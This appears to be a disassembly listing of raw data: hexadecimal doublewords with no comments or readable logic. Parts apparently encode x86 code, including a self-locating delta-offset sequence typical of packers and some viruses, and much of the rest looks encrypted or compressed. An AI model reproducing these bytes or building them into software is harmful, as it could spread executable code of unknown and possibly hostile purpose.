		dd 0B4E9F5h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 29853FC3h, 1D2955B5h, 4D958906h
		dd 8B061D2Bh, 550C245Ch, 0E8h, 0ED815D00h, 6209039h, 11E5858Bh
		dd 8589061Dh, 61D1805h,	1365858Bh, 8589061Dh, 61D0045h
		dd 3355858Bh, 8589061Dh, 61D1B4Dh, 1B2585C6h, 0C700061Dh
		dd 20795185h, 6, 0BA858D00h, 89062090h,	0B883h,	0C0335D00h
		dd 99D89C3h, 60061D19h,	1CCA8166h, 0BDC804Ah, 148A0F61h
		dd 0E9000000h, 0Fh, 0A4AB5CE4h,	640E6904h, 7D18D026h, 609A6E7Ah
		dd 32B9BD03h, 8B66061Dh, 74BC61D3h, 0E90012FFh,	0Fh, 31B1F5D3h
		dd 9E98E9C4h, 0C5D7245Dh, 643A471Bh, 58Fh, 9D890000h, 61D1CD9h
		dd 6A04C483h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 4B9CC352h, 2A373583h, 5E861F8h
		dd 0
dword_5752B8	dd 5D818BE2h, 59FEB70Fh, 11E9h,	9BD42500h, 518347DAh, 0B06021BAh
		dd 57673366h, 0C18119E0h, 5BF4h, 2129B589h, 68061Dh, 0F000000h
		dd 187h, 0E85EFC00h, 0Eh, 0C44795E4h, 901C2337h, 0C6A86B17h
		dd 9D89239Eh, 61D0895h,	0E34FF5Fh, 18B0Fh, 58F50000h, 5AEA8166h
		dd 31E8818Bh, 0E812B674h, 0Dh, 4A2930ABh, 0BF506CE5h, 4FAEB0B8h
		dd 0C9958982h, 5A061D2Eh, 0D21C081h, 81F922DCh,	9F51ADE8h
		dd 559D890Fh, 89061D26h, 850F3104h, 13h, 0EE9h,	0B663A200h
		dd 9AEF649Dh, 0F334AB4Ch, 0F9E1FF8h, 0EE83F9B7h, 0B5850902h
		dd 4E061D2Ch, 0FE81F94Eh, 0FFFFA4FCh, 11850Fh, 25BA0000h
		dd 0E9571E3Dh, 1Fh, 16F03F36h, 0FA18952h, 6EE9DBBFh, 0EAFFFFFFh
		dd 0BFDB2F31h, 9F3F39Dh, 0AEE8C76h, 0E8AC2F6Ch,	0Dh, 23EF63D1h
		dd 17C8B694h, 0BFA89A13h, 0DE880h, 3DAD0000h, 48FCF5C4h
		dd 126DF6DAh, 0FDC73E6h, 5E5FFEBFh, 9E9h, 0C52FFB00h, 7EAE71E3h
		dd 0C6818868h, 60BBh, 1199958Bh, 68061Dh, 89000000h, 1D2561BDh
		dd 9D8B5806h, 61D2B85h,	603034FFh, 6850Fh, 85890000h, 61D2F05h
		dd 11958D8Bh, 5961061Dh, 0F9BD8Bh, 0F181061Dh, 25081D2Eh
		dd 31B19D8Bh, 0E981061Dh, 0A9B7D7Eh, 1F818D89h,	0E981061Dh
		dd 7D21BE8h, 8B0C281h, 8B51233Ah, 1D12C995h, 6048F06h
		dd 59BD2BF8h, 81061D00h, 0FB7C9DE8h, 0D58D8937h, 81061D06h
		dd 0FB7C99C0h, 8D8B6037h, 61D2091h, 61C0BF0Fh, 0A040F881h
		dd 850FFFFFh, 18h, 4FEB8166h, 29E9C1h, 59160000h, 0D1C59572h
		dd 401E43B6h, 1D602458h, 1229BD89h, 61E9061Dh, 0D0FFFFFFh
		dd 69FF5F37h, 360F2AE7h, 7CFC6952h, 0E9E93CD6h,	148h, 50h
		dd 54h,	58h, 5Ch, 60h, 64h, 68h, 6Ch, 0B0h, 0B4h, 0B8h
		dd 0BCh, 0C0h, 0C4h, 0C8h, 0CCh, 0D0h, 0D4h, 0D8h, 0DCh
		dd 0E0h, 0E4h, 0E8h, 0ECh, 38h dup(0)
		dd offset dword_5752B8+25Ch
		dd 9F50EBh, 9308858Dh, 14E80620h, 0FD000000h, 0E07DEEA9h
		dd 1FE852CFh, 0B44FF08Eh, 5B6BA8B6h, 66E887DAh,	5E5998BEh
		dd 94488589h, 0BF0F0620h, 2585C6F6h, 54061D1Bh,	8BFE8B66h
		dd 1D13E9B5h, 4E806h, 68290000h, 0AE9EE62h, 1A000000h
		dd 0BA388B5Bh, 546DB872h, 448B50B1h, 89BE0424h,	8B5F4FA6h
		dd 2870F00h, 8B000000h,	244489DAh, 5E804h, 6EF0000h, 0B636E26Dh
		dd 0E9585BA3h, 0Ch, 7DADC83Ch, 35F3DFFDh, 1D2181A7h, 6E8h
		dd 9469FA00h, 0F356A34h, 85h, 0B5FF5E00h, 61D1805h, 0FB50BE66h
		dd 77FF858Dh, 0F9510620h, 89D0FF5Ah, 1D0699B5h,	4C858906h
		dd 33062094h, 1D2F959Dh, 5FE906h, 6E90000h, 1D000000h
		dd 526A9B44h, 0BE9B5h, 0BFE60000h, 0C695DDFEh, 0DEBF06A1h
		dd 0B58B5691h, 6209448h, 85830689h, 6209448h, 60C35E04h
		dd 9308B58Dh, 0FEB0620h, 0FF006A56h, 4C95FF36h,	5E062094h
		dd 8304C683h, 0EC75003Eh, 8F0FC361h, 0Dh, 8E9h,	0C6DA000h
		dd 0BCD9C67Dh, 47858D65h, 8B062095h, 1D22ED8Dh,	68A0F06h
		dd 8B000000h, 1D11F19Dh, 0C9858906h, 0E9061D11h, 0E5h
		dd 0FFEE4D10h, 1F3271DCh, 7A0E0A1Dh, 33538FDDh,	7D2F6D37h
		dd 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h
		dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh
		dd 171E577Dh, 2075DF6Dh, 20602060h, 60E0E020h, 7B68AC20h
		dd 0A1E4A9F7h, 93B2D020h, 9DB7EDA6h, 0A3F291B9h, 206020ACh
		dd 20602060h, 60E0E020h, 33537520h, 7D2F0D0Ah, 20602055h
		dd 28602060h, 0F0362BA7h, 0F360D650h, 96A1EFB6h, 0A7B4E0F7h
		dd 7192B8E3h, 0B9E9B3F4h, 2060F76Dh, 20602060h,	0F7202060h
		dd 351ADF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h
		dd 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h
		dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 0E0A1E35h, 66C1A800h
		dd 0F2FD54A7h, 4F437243h, 0BD4E91Ch, 0C4680000h, 0E9062098h
		dd 0FFFCE926h, 2099A968h, 0E91CE906h, 4C68FFFCh, 0E906209Ah
		dd 0FFFCE912h, 209B1568h, 0E908E906h, 9A68FFFCh, 0E906209Bh
		dd 0FFFCE8FEh, 209C3F68h, 0E8F4E906h, 0B068FFFCh, 0E906209Dh
		dd 0FFFCE8EAh, 209E8B68h, 0E8E0E906h, 3368FFFCh, 0E906209Fh
		dd 0FFFCE8D6h, 209FE268h, 0E8CCE906h, 0CD68FFFCh, 0E90620A0h
		dd 0FFFCE8C2h, 0B05A1A20h, 0A24C1C17h, 96402C09h, 873137FDh
		dd 7A2448EEh, 0E84E2502h, 0F641DA84h, 137D07Ah,	152CC56Fh
		dd 3DCFB55Fh, 62301BABh, 0BB42A823h, 1A852D14h,	0A99AF123h
		dd 9A553203h, 33F6D39Dh, 28196BAFh, 0C596D262h,	60088015h
		dd 0E34D3AF1h, 924FDD85h, 1157DDA1h, 3604E240h,	0F84C9790h
		dd 9D6EADC3h, 36C658EDh, 4A18BFA7h, 64C2B28Fh, 126924B6h
		dd 0F9AA1F45h, 0AAE0611Ch, 3203E08Ch, 231EB761h, 0D5E47451h
		dd 0E3DCA13Ah, 11CEC159h, 2DE64430h, 1DB66014h,	0B8735024h
		dd 0E0EEB89h, 53EE9684h, 0CDDF7721h, 6CED1CA0h,	4CBh, 6A7A0CBEh
		dd 77DCA136h, 1FC168C6h, 0A6CBDB6Dh, 27D82542h,	0A6D1E577h
		dd 31E22542h, 63271AD3h, 9B996DEh, 42A66777h, 0F2C37425h
		dd 0B8894421h, 0C65412BCh, 0D160F2A2h, 0C21F45B0h, 0EF843411h
		dd 0CB29EB46h, 5AE8463Dh, 0DCA0744Eh, 0B1D446D0h, 0ED1DEA3Fh
		dd 433Eh, 8A1F9700h, 3DB4ABDBh,	0AC8AE8ABh, 984AFA9Eh
		dd 0EB4054E6h, 0B6512542h, 0BE1CED7Fh, 45E8F930h, 0BC994A1Fh
		dd 0A9E84F0Ch, 0A1EA8717h, 926314DCh, 0EA12A634h, 921CDCA1h
		dd 70F3FD88h, 0C58AED1Ch, 0E3000000h, 0D95D2D14h, 14E5B693h
		dd 0F38FA764h, 7C592A42h, 0B7724DABh, 6010ED7Fh, 7EDC94A3h
		dd 1BF87CC5h, 9727B96Bh, 6E2542A6h, 0F4C5A2C6h,	27E03EEFh
		dd 42B05A1Ah, 2542A4A7h, 0FFA9CB76h, 0B8D7DB66h, 27FB8FBEh
		dd 0C8785526h, 7F708416h, 0D081DABDh, 3869472h,	0BD7F5D71h
		dd 0ECBD6EDAh, 6587AA3Ch, 5B0CE0BAh, 3F25F3B1h,	0EEA0FD8Fh
		dd 8233E6AAh, 4B2115D2h, 3E2E08A1h, 20572CBh, 5DFCD7E1h
		dd 8CEh, 0E08AEA50h, 0D27CEC47h, 0C670FC39h, 0B761072Dh
		dd 0AA54181Eh, 0B87E7532h, 0C6710AB4h, 0D16700AAh, 0E55CF59Fh
		dd 6DFFE58Fh, 623ECBDBh, 0EB72D823h, 0A04A2214h, 8DE35512h
		dd 0C881DFB0h, 0CA51FB79h, 0CA5C59EFh, 2542A63Ah, 954516C7h
		dd 300D5BD8h, 0C153015Fh, 1F45A548h, 0BD4D2ADBh, 0DCA0582Dh
		dd 4FE4A133h, 515BB19h,	1DC26E80h, 2216D3EDh, 0B37CF04Eh
		dd 0D5000000h, 96D2621Fh, 0D18AE8B9h, 6C270470h, 35C5A2CAh
		dd 2542A4B4h, 9C30C274h, 2DDABD5Ah, 0DC651E7Ch,	0EC55EE98h
		dd 7DCBAB88h, 8764082Dh, 0A335E5B6h, 0E0BA408Eh, 0F2A45405h
		dd 0A0774C60h, 4EAC5DDCh, 0D46618A6h, 0DCA077C0h, 0E4C220D1h
		dd 0F0823256h, 0E6AA9284h, 0F7B46415h, 78F0433Fh, 0D264FDA7h
		dd 0DEC8279Ah, 4E29E101h, 7E9AFh, 0A5CF6B00h, 97D162FBh
		dd 8BE154EDh, 7CEC48E1h, 6FFD39D2h, 996E4DC5h, 8C25CF9Dh
		dd 821BC5ABh, 7710BAB6h, 1A00AACAh, 3FE6F688h, 8DF32362h
		dd 4A221406h, 3A3A07A0h, 0F96D0290h, 60B7E22Dh,	0D5A6C670h
		dd 2D14D077h, 92AF6A47h, 7C9338E2h, 0C4741026h,	45ABC332h
		dd 2EC0501Fh, 0DCA0439Eh, 56A97A2Bh, 187758CAh,	6004123Eh
		dd 2C69FEB0h, 5972E3EDh, 9223B10Fh, 21E45FB4h, 65B39370h
		dd 26BD4FFFh, 0B5EBDF92h, 0E5A25404h, 6F401D53h, 8BE95811h
		dd 7BF948E1h, 0E882A308h, 8A2904E5h, 746h, 580272C8h, 4AF474BFh
		dd 3EE884B1h, 2FD98FA5h, 22CCA096h, 40F6CDAAh, 4EE9822Ch
		dd 59DF7822h, 6DD46D17h, 0E5775D07h, 623C4353h,	63EA5023h
		dd 6A472D14h, 28D8BC8Ah, 0F07CB976h, 0A0350492h, 2EBE1F45h
		dd 0A05C089Ch, 17E899DCh, 3999AF6Dh, 2CE92182h,	24D4A5DFh
		dd 0C1A19392h, 9F4F00E6h, 670530EDh, 0A25BB98Ah, 6825D59Fh
		dd 0FBF9CCCh, 835C697Dh, 0F8C97AD6h, 0A764F29Ah, 0C47DDB8Dh
		dd 3A1AF77Dh, 46D888ECh, 0ECE2CB5Eh, 0BD7A2ADBh, 3B2D0684h
		dd 2D7ECB5Eh, 756ACC11h, 9029D3A4h, 6E6C3B1h, 0D3E37530h
		dd 0E0C8E3A3h, 0C087176Dh, 0DDE9273h, 13FA8C3Ch, 80F2E4F6h
		dd 1CA15CCFh, 0B792ED41h, 67D18h, 393BFF00h, 2B3DF68Fh
		dd 1F4DE881h, 1058DC75h, 369CD66h, 2D02E159h, 20B96309h
		dd 16AF5917h, 0BA44E22h, 0AE943E36h, 3D7A8A1Ch,	21872362h
		dd 5159EF9Ah, 0DAAB88E4h, 9C9C5909h, 137E2A12h,	0FDCE1A23h
		dd 8D3FF19Fh, 4210EBFBh, 8985F825h, 591502F4h, 0FF8DEBBCh
		dd 1F23C80Fh, 7E3BEB9Ch, 0AC40D2C3h, 3DDCA2C2h,	7811BB8Ch
		dd 0EECEABC9h, 0FA8C3C58h, 0E6A5C42Fh, 0CF9003B4h, 0C8E101AEh
		dd 5F84EEDh, 0C07A0000h, 0C2710AB4h, 0D263FCA6h, 0DD57F09Ah
		dd 0EE48E18Bh, 9F5CD47Eh, 34DE8EA8h, 2AD49C9Bh,	1FC9A791h
		dd 0FB9BB86h, 0F1059729h, 223623Dh, 59EF159Ch, 74F98B3Bh
		dd 671F2330h, 975406B6h, 4559EBAAh, 56DC9DCCh, 0BD76D4A5h
		dd 0B846F084h, 57343CFBh, 0D26F2886h, 335F2A2h,	54340F6Dh
		dd 9D31C3C6h, 2EDC9DCCh, 6AFCAC7Dh, 0E6FC5BB2h,	0E19E4EFFh
		dd 600C2A60h, 3FF7B283h, 0AE7F502Dh, 9ED66B04h,	2D4BE1C1h
		dd 22EB7Dh, 0D671ECFBh,	5612215Dh, 1CD7A879h, 0D805117h
		dd 0E7236A46h, 53DD7C57h, 0D5000005h, 0CC650F65h, 0BE570167h
		dd 0B24BF577h
		dd 0A33CE682h, 0B72FD993h, 393303F8h, 2F41F68Fh, 244CEC85h
		dd 1460E17Ah, 60F2846Ah, 23623A4Ch, 1470F75Dh, 0AF6A472Dh
		dd 7A38E292h, 8618C8ACh, 1F45B0EBh, 0AA5A37E8h,	4F5666F8h
		dd 0B263DCA0h, 0D23040F7h, 0A04FB444h, 0D3AF87DCh, 5D2E0B65h
		dd 40F4AF8Ch, 99B4B28h,	0DCA04FF5h, 5AFE5506h, 9C26AEC0h
		dd 0E054117Eh, 7CDAAB88h, 1DD12AC4h, 0E75A17EDh, 45BB2F8Dh
		dd 14000000h, 9F5C59EFh, 28F9D696h, 42A60498h, 0C8610725h
		dd 76E0026h, 0D0805102h, 45ABCB3Eh, 0CAA7581Fh,	0A1ABAE3Ah
		dd 611EB0DCh, 943A98D4h, 0E84C0986h, 74D2A380h,	1C3132BCh
		dd 0E5520FEDh, 0E8B92D8Bh, 12000000h, 90488A1Fh, 1A5D2FC5h
		dd 363E03BCh, 0D4989E59h, 6F053CF7h, 0A6AD792h,	88F7F260h
		dd 1B262542h, 65F7A959h, 25428E51h, 0AB53B162h,	9FF881Dh
		dd 5CD89B90h, 3BE8FE5h,	8A5B3830h, 0A6CE732Ch, 0AC8744F6h
		dd 1E982CBCh, 78292542h, 0C95F3F1Ah, 1C69FBABh,	9F1F452Fh
		dd 0B3813EEEh, 0A907D8B5h, 0A5F54301h, 992BDB91h, 0DCA10F05h
		dd 6414E596h, 7DDB8DA7h, 82881DCFh, 485CEE87h, 59DCA1CFh
		dd 4DF115A8h, 7C30BE1Ch, 0CDE6AB6Eh, 87AF6C1Ch,	5F3038FBh
		dd 521A1CB5h, 18552DFh,	0B5542FE1h, 3E2h, 0F49ED664h, 0E690D85Bh
		dd 0DA84E84Dh, 0CB75F341h, 0BE680432h, 0A4926946h, 0B2851EC8h
		dd 0BD7B14BEh, 0D17009B3h, 8113F9A3h, 623BDFEFh, 0FF86EC23h
		dd 9BD5621Fh, 0BAB2843Dh, 81E74D0Ah, 5FE27B23h,	0EFE46B15h
		dd 0D98B3B59h, 42A6B747h, 35934425h, 940D587h, 16DB72DBh
		dd 2F5AE846h, 741F45DFh, 277E13C3h, 0DF8DA8AAh,	7E13D34Ch
		dd 25B54520h, 2BDCA101h, 0E20C79A1h, 99ED1C9Bh,	94h, 472D14F2h
		dd 0E587AF6Ah, 0A4717808h, 95AC2542h, 0A59C35DFh, 412F2CFh
		dd 0C71EB060h, 54E0BA6Bh, 0ED3BF9A3h, 4B8616A8h, 6213DCA0h
		dd 0FE4FE191h, 0E2E6AAAEh, 0EC0E9E30h, 0EA9BD681h, 28D8898Ch
		dd 7CB7CB6Bh, 0AE6B1BECh, 0E088E68Ah, 0A7DEF47h, 0E101C267h
		dd 7D67550h, 89000003h,	8019C3B1h, 720BB5B3h, 66FFA9C3h
		dd 57F09ACEh, 6BE38DDFh, 0ED7FB78Ch, 0E38DAA43h, 0D898A039h
		dd 0C8AC952Eh, 14A6381Eh, 23623880h, 1424AB11h,	7A04A22h
		dd 9903A3Ah, 0D75D2D14h, 12E3B491h, 6BC88535h, 0F14F20FDh
		dd 0BB6B0938h, 573438FEh, 0DB802886h, 0BADE6CB2h, 0AB05780Ah
		dd 2EEB1F45h, 2056305h,	0BE72FE51h, 3878CF75h, 44D686E2h
		dd 4AE8C8F1h, 14F4D182h, 20B26206h, 50B2FE83h, 0B2B67D18h
		dd 0C27F31E1h, 4718F57Fh, 631130E9h, 0C56E2BB9h, 97F5C6A3h
		dd 9E1163DEh, 8B5516F5h, 5FE88762h, 0E1000002h,	0D8711B59h
		dd 0CA630D5Bh, 0BE57016Bh, 0AF48F276h, 0C33BE587h, 45270FE4h
		dd 3B35029Bh, 3040F891h, 2054ED86h, 6CFE9076h, 23623958h
		dd 147C0369h, 0DA97472Dh, 0D7B2105Ch, 934321F7h, 459CD801h
		dd 701ACB1Fh, 0C452B8CBh, 2F5EF0A0h, 7CE6A75Fh,	0E35E1BCBh
		dd 85E3B491h, 0A01CA834h, 74C27A7Dh, 2FCB6010h,	1DB14371h
		dd 0AE1275A6h, 0ABD86AFDh, 9DF60698h, 52031275h, 0E3752381h
		dd 287295D2h, 0EB8030E1h, 3E2C3763h, 0B08BE9C8h, 6E1E7AD0h
		dd 3878C7DCh, 7323D42Eh, 3FE98BB6h, 48EF9BA6h, 0F5E45728h
		dd 56A9CA9Ch, 1B0DC7Bh,	8320000h, 0A29C26Ch, 1A1BB45Eh
		dd 250FA852h, 36009943h, 57148C36h, 0EC96D660h,	0E28CE453h
		dd 0D781EF49h, 0C771033Eh, 29BD4FE1h, 0BA236239h, 2D14CD54h
		dd 0BC8A6A47h, 0A65767F9h, 0B3642542h, 0EB8032E2h, 0ACA4F1EBh
		dd 6BF95781h, 1F45A612h, 393B06A1h, 0E4B5B77Eh,	1D4F953Ah
		dd 27B9690Fh, 0E6A749F6h, 0B5419445h, 7E313D81h, 0D383E137h
		dd 0F88C8C21h, 9F7B06F5h, 0D522B341h, 54062597h, 3ECE9E97h
		dd 11F7C5AEh, 8519AB3Bh, 1611F7C5h, 38019465h, 55C6D7BAh
		dd 590A0D6Bh, 8E9C7Ch, 0B4643533h, 0CD2B3DF7h, 0EA768D1Fh
		dd 45DA2B97h, 0BB382A4Fh, 3538965Ch, 0FDCE9A9Ah, 0C7A5904Dh
		dd 0DBB19EAh, 64C1F150h, 0B2E62B55h, 62F09A6Bh,	6DFF92A5h
		dd 0BD77B59h, 0BE8B96Ah, 1E23DC3Ah, 2FEEE356h, 805BA62Fh
		dd 0C5E1h, 81F34700h, 73F53ED7h, 670530C9h, 581024BDh
		dd 4B2115AEh, 754A29A1h, 6801ABC1h, 5EF7A1CFh, 53EC96DAh
		dd 0F6DC86EEh, 6C2D264h, 69CF2362h, 472D14E2h, 0D8BC8A6Ah
		dd 0EBA49328h, 85AAE28Bh, 0EDFBCB0h, 0EBFB8D3Dh, 0F8254268h
		dd 0A93BE947h, 1F457584h, 831AD76Ch, 23A97EDh, 46F0A1A4h
		dd 26D6B288h, 0C0C58994h, 7C590AE6h, 4AF480C1h,	7E490B1h
		dd 9B5B8677h, 47D357D8h, 0C670043Dh, 8360142Dh,	7F8F21D3h
		dd 8CFC11DAh, 0D94B48DBh, 0DE9B7344h, 116DC780h, 0AA894430h
		dd 3F10E1BEh, 6A17FA8Fh, 897026F8h, 55F9502Bh, 0F282BFC5h
		dd 0E292AF48h, 0D0C05505h, 0DBC2B936h, 3700D6Bh, 0CB000000h
		dd 2614B65Dh, 8BB6714Eh, 0E7510CE9h, 46F1AC89h,	0A4924D2Ah
		dd 630EBC8h, 66CE8966h,	0CB6A2502h, 2A09C4A1h, 689C613Eh
		dd 77F5h, 68242C89h, 4DB4h, 68240C89h, 480Ch, 56242C89h
		dd 6E01CB68h, 0B8505E43h, 706A0789h, 8158C609h,	0CF490AC6h
		dd 21F6814Dh, 89C71DC6h, 0EC815EF1h, 4,	81242489h, 42404h
		dd 515D0000h, 4240481h,	8F04A202h, 0BB530845h, 63577433h
		dd 251DEB81h, 0DBF71FEFh, 0E7EB8143h, 29B7F5AEh, 8B5B085Dh
		dd 8952242Ch, 4C281E2h,	81000000h, 4C2h, 24148700h, 240C8B5Ch
		dd 81E28952h, 4C2h, 4C28100h, 87000000h, 0E95C2414h, 0FFFCDD62h
		dd 7967B5A9h, 0B7B86E46h, 30620A1h, 2EE0FFC5h, 0BC21B673h
		dd 70643ABFh, 0BB308B9Dh, 42049632h, 2412CC8h, 1C7E61BDh
		dd 8158EEE3h, 0C8713C8Ch, 0F829FFD4h, 9A0B7469h, 6F541EBBh
		dd 31827A8h, 8618225h, 0F03FED6Ah, 0F9194EA1h, 0BA6E5FF0h
		dd 39041C3Eh, 7A6FE51Eh, 0E26DE63Eh, 4D736F85h,	0FA0DB7D2h
		dd 8D04B7FAh, 9A78FA6Ah, 0E24B5C5Ah, 2D756E25h,	6D27EFB2h
		dd 0B735C9CDh, 0A358EFD7h, 0E947045Dh, 75h, 0D88C6660h
		dd 840F04A8h, 35h, 0B5FF016Ah, 61D11E5h, 77FF858Dh, 0D0FF0620h
		dd 7618589h, 0FE8B061Dh, 680CEFC1h, 20040000h, 26A006Ah
		dd 0D6857h, 95FF0001h, 61D0761h, 32E9h,	2585C600h, 56061D1Bh
		dd 0C530DF68h, 5B5FFA9h, 8D061D18h, 2077FF85h, 89D0FF06h
		dd 1D2C9585h, 99858D06h, 50061D00h, 56A206Ah, 9595FF56h
		dd 61061D2Ch, 6E0C1C3h,	39EBh, 2CC00BFh, 2E400BFh, 0BFh
		dd 0B3F40000h, 0BF07107Ch, 0B7492165h, 0B3677574h, 0F465187Fh
		dd 0DA681975h, 9646215Fh, 0AE4F755Dh, 0B4E5055Eh, 0BF321D45h
		dd 0BA201170h, 0C251E098h, 1A83730Ch, 0C0E1C818h, 6781730Ch
		dd 0DC1C6378h, 59890011h, 0C74154ACh, 0C3547517h, 1A9B2641h
		dd 0DA0CCCA9h, 0B381FC11h, 5704683Bh, 0C5A7488Ch, 81538A17h
		dd 0FBFDF649h, 0DA266810h, 89406265h, 0DA0CCCA9h, 0B381FC11h
		dd 5704683Bh, 0C5A2598Ch, 81538A17h, 8C401F49h,	0DA2076F9h
		dd 194E5511h, 0FE7CFC4Fh, 0FE40F415h, 0DA026215h, 19573311h
		dd 855B7A14h, 0F951F038h, 4FA9730Ch, 0DC0D6638h, 1583B59Ah
		dd 0C121F0D7h, 0B054730Ch, 0D9E92211h, 0FA807511h, 531FB64Eh
		dd 5B24516Dh, 0CF145155h, 9D087511h, 0E5CFB646h, 0DDEFF822h
		dd 0C9E8730Ch, 82807511h, 86E93E43h
		dd 60D37B6Fh, 96D0058Ah, 94E21378h, 0DEEC652Fh,	88027511h
		dd 329DDDA9h, 0DA80751Eh, 8EB0182Dh, 8E76A07Bh,	4E0A21B1h
		dd 809A687Eh, 0DA099C41h, 84EC7511h, 0ACEF75ADh, 9510F11Ah
		dd 51259E45h, 0BC245155h, 511A11AEh, 28831311h,	0DE203198h
		dd 0DA0AFD1Eh, 5B0E7511h, 0DA807513h, 0B018849Ah, 0D9C82011h
		dd 0FA107511h, 5355B64Ch, 5B00517Dh, 0C2065155h, 9F017511h
		dd 3ACDB644h, 2F2C7DAEh, 0C225C0EEh, 0DA7A730Ch, 0DA0B9D46h
		dd 85247511h, 0A68B2AD2h, 9E807135h, 0DA957135h, 8D077511h
		dd 53B902D2h, 0C73F40ACh, 258DF817h, 53025566h,	0C7131494h
		dd 0B0D18A17h, 0D9682211h, 0FA407511h, 537FB64Eh, 5B14516Dh
		dd 0C30C5155h, 9D047511h, 8B65B646h, 0DDB9C927h, 0DA8064F8h
		dd 0A176211h, 4F427F2h,	4E6F3E09h, 7BB8C4E3h, 0D7ED3C59h
		dd 9027511h, 92C03182h,	7A81F78h, 7E4D023Eh, 5248DCAFh
		dd 51141F06h, 0C71E1084h, 46B51D17h, 0DE83B67Eh, 4A723A35h
		dd 8F801F2Dh, 0DA4076F9h, 197D5511h, 0FE7CFC4Ch, 0FE4CF415h
		dd 0DA046F15h, 19573011h, 17AA6647h, 65DA4CCBh,	0F831CADAh
		dd 70D31879h, 0DA199CDDh, 9AF57511h, 915B1650h,	5B24D315h
		dd 0D57E5115h, 0B0754644h, 0DCC07A11h, 51207511h, 0C7300084h
		dd 0B0D88A17h, 0D9EC2311h, 0FA027511h, 535FB64Fh, 5B845165h
		dd 0CE445155h, 9C207511h, 0BC84B647h, 5F81A59Ah, 0DC24D647h
		dd 0DA83C022h, 228A730Ch, 0DA82B914h, 80C5FC11h, 592655B2h
		dd 5F996DD1h, 0DC28D64Fh, 36BDB522h, 29027513h,	0B096C4BBh
		dd 0D9682711h, 0FA407511h, 537AB64Bh, 5B145145h, 0CF0C5155h
		dd 98047511h, 1B9EB643h, 0C124F0D7h, 0B0C3730Ch, 0D9A82611h
		dd 0FA207511h, 534BB64Ah, 5B0C514Dh, 0C7005155h, 99027511h
		dd 0E37CB642h, 0C89EF0AAh, 67C0E68h, 0B2F3CA1Eh, 0F15689h
		dd 0DA059C41h, 29AD7511h, 66E5EE4Eh, 0D89B2EAh,	85445718h
		dd 1C644190h, 5366F359h, 0C7166484h, 0DFBD8A17h, 0B0026809h
		dd 0D9EA2711h, 0FA017511h, 53DAB64Bh, 5B445145h, 0CE245155h
		dd 98107511h, 8809B643h, 85FACA1Eh, 0ADFDF09Ch,	64677331h
		dd 0A7F4332h, 0DA407EF9h, 0D410CF11h, 9FA78ADCh, 3CD0CC58h
		dd 24ACB5AEh, 5F8B2B42h, 0DC1C5510h, 5753FE77h,	0C7577894h
		dd 8C201F17h, 0DA1076F9h, 19565511h, 0FE70FC4Fh, 0FE46F415h
		dd 0DA016E15h, 19D63311h, 5E03D1D9h, 0DD0CBF99h, 0DBE1C838h
		dd 0D5E1730Ch, 0FA047511h, 7B26C2C9h, 0DC49EE5h, 6130BEADh
		dd 5FC91C93h, 0DC3D5F28h, 0D8D9C01Ah, 5FCE730Ch, 0DC196E34h
		dd 8D021F42h, 0DA0176F9h, 19DF5511h, 0FE3CFC4Eh, 0FE64F415h
		dd 0DA106215h, 195F3211h, 833A5C8Dh, 0DA07FA1Eh, 0BFBB7511h
		dd 0BC98AC50h, 0B2B9849Ah, 777A3ADEh, 64762741h, 0EB07001Fh
		dd 0DA06F21Eh, 10897511h, 0EE802D4Bh, 31876235h, 53FA1340h
		dd 0DF958A1Ah, 0BC166809h, 0ED79A90h, 0CCCDE898h, 5F8F730Ch
		dd 0DC2102EEh, 32D0757Bh, 0DA407512h, 82E32D31h, 0DE343198h
		dd 0DE2C3190h, 0DA047507h, 74C12551h, 6F305E20h, 0DC9D6E40h
		dd 6D4FA5EEh, 0D3A5FCC1h, 0B0166803h, 0D9E02211h, 0FA047511h
		dd 535DB64Eh, 5B05516Dh, 0C6845155h, 9D407511h,	77F3B646h
		dd 0BE6A377h, 1C4D5E90h, 0C71F5094h, 0E7BC2617h, 532DA18Dh
		dd 0C78494ACh, 0CBBF1D17h, 0FE9AAE93h, 5B35403Bh, 0F445125h
		dd 208F768Bh, 0C207C0EEh, 0DA6B730Ch, 0DA839D41h, 82607511h
		dd 9EA92DD2h, 9E917135h, 0DA1D7135h, 8A447511h,	508068D2h
		dd 2584F8FFh, 0B0865566h, 0D9A82611h, 0FA207511h, 534BB64Ah
		dd 5B0C514Dh, 0C3005155h, 99027511h, 4C84B642h,	0FA8E9832h
		dd 0D045E09Ah, 0D7C8730Ch, 0B7107511h, 2D261CF5h, 4DB7FD82h
		dd 999C1374h, 0C60CC89Ah, 25DE730Ch, 8B401FC1h,	0DA2076F9h
		dd 19495511h, 0FE44FC48h, 0FE40F415h, 0DA026115h, 19503411h
		dd 0D305FC40h, 0B046683Ah, 0D9C82511h, 0FA107511h, 5350B649h
		dd 5B005155h, 0C6065155h, 9A017511h, 98A6B641h,	1FB9706Eh
		dd 516B31DCh, 0C704E89Ch, 0FF8DB317h, 9D02680Ah, 0C98FC038h
		dd 0CC69730Ch, 0D51737C0h, 0DA40779Ah, 5BEFFE11h, 0D6AF5125h
		dd 0DA62558Dh, 0DA079D44h, 87227511h, 0B68828D2h, 9E017135h
		dd 0DA587135h, 8F657511h, 0CA5626D2h, 0E2B7CD3Fh, 0D52C0715h
		dd 6FFD8BA6h, 0DC1C6D14h, 32D1757Bh, 0DA407512h, 83E32C31h
		dd 0DE343998h, 0DE2C3190h, 0DA047507h, 30C12450h, 5F8CEE53h
		dd 0DCA002EEh, 3215757Bh, 0DA207512h, 87D32831h, 0DE2C1998h
		dd 0DE203190h, 0DA02750Bh, 1BC22054h, 8CBC601Bh, 6FC9EC3Ch
		dd 0DC3D7160h, 5B70A5EEh, 0A2E61CFBh, 5F8D140Bh, 0DC1F50A4h
		dd 9BBCFC71h, 0BB86683Fh, 0C165F0D7h, 5B67730Ch, 12E6BC6h
		dd 1DC51D4Bh, 0DE854D0Bh, 1B4AD835h, 0DFB4FE58h, 25866818h
		dd 0C75870A4h, 0DB1ACC17h, 5F9D01D4h, 0DC2802EEh, 3251757Bh
